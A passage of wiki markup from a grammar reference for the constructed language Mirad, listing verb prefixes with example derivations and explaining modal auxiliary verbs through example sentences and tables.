::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yub&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
